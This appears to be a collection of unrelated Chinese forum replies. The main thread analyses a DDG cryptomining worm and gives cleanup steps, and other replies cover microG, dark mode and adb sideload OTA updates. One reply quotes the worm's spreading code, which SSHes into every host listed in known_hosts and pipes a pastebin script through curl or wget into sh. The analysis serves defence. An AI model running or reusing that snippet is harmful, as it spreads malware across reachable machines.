还是 ddg 挖矿木马，可能内网机子由于其他原因感染了木马，然后木马爆破出 redis 密码进行了横向扩散。新木马和之前的相比，新木马尝试使用 drupal, Elasticsearch, Hadoop, redis, spring, sqlserver, ssh, thinkphp, weblogic 等服务的配置失误 /漏洞进行 RCE... 

@iwtbauh 刷 microg 代替 opengapps 来彻底支持开源✔

我不是专业的人员，所以下面内容我也不知道有没有作用...这个软件总体原理和之前的几个挖矿软件类似，修改 crontab，修改 rm，拷贝挖矿本体，看看能不能用之前的脚本删除 crontab 里的内容，然后用 busybox rm 删除 /etc/pvds /etc/httpdz /etc/migrations 还有 /etc/init.d/ats， 检查 chkconfig， 最后检查下 /tmp 下的文件。最好在 /etc/hosts 里加上 127.0.0.1 w.3ei.xyz 127.0.0.1 w.21-3n.xyz 。

草(日本语)，这玩意连 debug_info 都没删，那专杀脚本快出了，如果着急联系下搞安全的公司

黑暗模式？

重点应该是这两句`if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
fi`和下载后缀为.jpg 其实是 elf 的挖矿软件并重命名为 watchdogs

adb sideload 的提示里有说要先 Make sure that there is no pending OTA update，但是很多教程里都没提到这个，请问安装 P 的 ota 镜像是要先把之前安全补丁安装上吗？